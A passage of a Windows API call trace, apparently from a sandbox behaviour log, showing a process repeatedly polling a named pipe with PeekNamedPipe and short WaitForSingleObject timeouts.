lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.103] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.103] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.129] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.129] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.160] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.191] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.254] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.290] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.290] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.238] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.239] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.342] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.776] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.798] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.844] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.751] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.334] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.334] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.365] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.365] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.915] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.148] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.170] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.251] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.751] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.778] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.607] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.636] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.636] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.667] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.698] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.729] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.760] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.791] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.792] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.823] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.823] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.864] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.864] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.885] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.919] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.947] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.948] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.979] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.010] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.041] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.075] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.103] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.104] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.148] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.149] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.166] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.166] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.197] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.197] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.228] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.270] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.270] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.297] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.297] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.322] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.363] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.415] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.447] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.478] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.478] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.700] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.700] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.727] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.728] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.759] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.979] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.045] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.105] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.105] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.981] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.981] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.022] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.023] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.054] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.085] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.116] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.148] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.178] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.210] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.210] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.245] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.272] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.303] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.340] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, 